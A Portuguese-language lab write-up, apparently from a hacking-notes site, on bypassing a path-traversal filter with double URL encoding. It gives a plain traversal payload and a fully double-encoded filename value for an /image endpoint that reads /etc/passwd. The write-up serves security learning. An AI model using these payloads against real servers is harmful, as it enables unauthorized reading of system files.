> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/path-traversal/path-traversal-bypass-via-double-url-decoding.md).

# Bypass de Travessia de Caminho via Dupla Decodificação de URL

### Travessia de caminho de arquivo, sequências de travessia removidas com decodificação de URL supérflua

Este laboratório apresenta uma vulnerabilidade de path traversal ao exibir as imagens geradas. / A aplicação bloqueia as sequências de travessia no nome de arquivo fornecido pelo usuário e, em seguida, aplica uma decodificação de URL adicional antes de usar esse valor.

O objetivo é ler o conteúdo do `/etc/passwd` arquivo.

A seguinte carga padrão é constatada como não funcionar:

```bash
../../../../../etc/paswd
```

Para contornar esse filtro, uma técnica consiste em **codificar a URL duas vezes** e enviá-la no `filename` parâmetro do `/image` endpoint:

{% code overflow="wrap" %}

```bash
/image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34
```

{% endcode %}

<figure><img src="/files/01469173d84028cbdfc03605c9aadec0c6a5d796" alt=""><figcaption></figcaption></figure>


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